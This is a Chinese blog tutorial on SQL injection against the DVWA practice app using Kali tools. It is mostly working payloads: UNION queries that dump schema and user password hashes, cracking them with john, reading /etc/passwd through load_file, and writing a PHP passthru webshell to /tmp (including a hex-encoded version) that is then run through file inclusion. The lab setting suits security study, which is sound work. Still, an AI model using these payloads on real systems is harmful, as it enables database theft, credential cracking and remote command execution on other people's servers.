KALI实战-web渗透-SQL注入

1 简介

    服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器

2 几种测试方法

    2.1 基于报错的检测方法

        ‘ ” ( % ) 查看报错信息确认

    2.1 基于布尔的检测

        1' and '1

        1' and '0      

    2.1 字段数/显示位

        ' order by 字段数--+(通过猜测判断字段数)

        union [all] select 1,2--+(通过联合查询判断显示位

    2.2 利用函数

        user():返回当前用户

        version():返回数据库的版本号

        database():返回当前数据库名

        char():ASCII转字符

        全局函数:@@datadir,@@hostname,@@version,@@version_compile_os

        concat_ws(x, s1,s2...sn):若是concat就没有x这个分隔符,用来拼接字符串,eg:?id=' union select concat_ws(char(32,58,32),user(),database(),version()),null--

        substring_index(s, delimiter, number):s是字符串[比如执行函数后返回的结果],delimiter是分隔符,number返回的是第number个子串,eg:?id=' union select substring_index(user(),'@',1),null--

        更多直接查文档吧嘻嘻嘻

    2.3 关于infomation_schema(数据库的元数据)

        所有库的所有表

        ?id=' union select table_name,table_schema from information_schema.tables--

        统计每个库中表的数量

        ?id=' union select count(*),table_schema from information_schema.tables group by table_schema--

        dvwa中的表名

        ?id=' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--

        爆users中的字段

        ?id=' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--

        爆用户名密码

        ?id=' union select concat(user,char(32),password),null from dvwa.users--

        ps:关于dvwa爆出密码的破解

            (1) 拷贝出密码5f4dcc3b5aa765d61d8327deb882cf99,可首先使用hash-identifer识别为MD5,创建文件类似admin:5f4dcc3b5aa765d61d8327deb882cf99(爆数据时候用0x3a作为分隔符就可直接拷贝)

            (2)john --format=raw-MD5 dvwa破解(注,第二次运行加上--show参数可正确显示出已破解密码)

    2.3 读写文件及下载数据库

        读取文件

        ?id='%20union%20select%20null,load_file('/etc/passwd')--%20

        写入文件

        ' union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile "/var/www/a.php"--

        上面会发现没有权限写入文件,这是因为此处使用的的mysql进程来进行写入的,mysql的进程可以ps -aux|grep mysql看到,


        而www的目录权限为


        mysql进程的user是mysql,所以没有权限写入文件,去掉目录,直接写入到默认目录

         union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile 'a.php'--

        写入成功,find / -name a.php发现上传到了mysql进程的指定目录/var/lib/mysql下的dvwa目录中,然而无用,dvwa的权限为


        此时就求助于大家都有权限的临时文件目录/tmp,将a.php写入到此目录中

        ' union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile "/tmp/a.php"--

        接着使用之前的文件包含漏洞就可成功进行命令执行

        ?page=/tmp/a.php&cmd=id

        技巧

        使用16进制编码webshell,mysql在dumpfile写入文件时会进行转换,可以使用

        cat c.php | xxd -ps | tr -d '\n' [这其中的xxd -ps用来output in postscript plain hexdump style,tr -d用来删除换行符,不然mysql会不能解析]

        之后可以使用' union select null, (0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e0a) into dumpfile "/tmp/b.php"-- 上传webshell,注意"null,"后面有一个空格

        保存下载数据库

        ' union select user,password from users into outfile "/tmp/a.db"--

    2.3  无权读取information_schema/拒绝union、order by语句

        猜列名:' and column_name is null --+(可使用burp进行爆破)

        猜当前表表名:’ table_name.column_name is null --+

        猜库里其他表:' and (select count(*) from a)>0--+

        列表对应关系:' table_name.column_name is null--+

        猜字段内容:' or user='admin,' or user like '%a%

        猜账号对应密码:' or user='admin' and password='md5blablabla'

    2.4 当数据库可写

        可直接update:update users set user='xxx' where user='admin

        或者直接insert:insert into...,还删除表等等,但是dvwa此处无法利用(sql客户端工具的问题而非sql数据库问题,kali下的HexorBase同理)

        xp_cmdshell:存储过程

    2.4 关于medium级别和高安全级别

        使用了mysql_real_escape_string()对\x00,\n,\r,\,',",\x1a进行转义

        注:php 5.5.0已弃用该函数,php 7.0.0已删除该函数改用MySQLi,PDO_MySQL

        但是此处源代码中    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 单引号不复存在,正常执行注入即可,都不需要闭合

        高安全级别中过滤了特殊字符,最重要的是对传进的参数类型做了判断

            $id = stripslashes($id); 

            $id = mysql_real_escape_string($id); 

            if (is_numeric($id)){...... 

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 227,533评论 6 531
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 98,055评论 3 414
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 175,365评论 0 373
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 62,561评论 1 307
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 71,346评论 6 404
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 54,889评论 1 321
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 42,978评论 3 439
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 42,118评论 0 286
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 48,637评论 1 333
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 40,558评论 3 354
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 42,739评论 1 369
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 38,246评论 5 355
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 43,980评论 3 346
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 34,362评论 0 25
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 35,619评论 1 280
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 51,347评论 3 390
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 47,702评论 2 370

推荐阅读更多精彩内容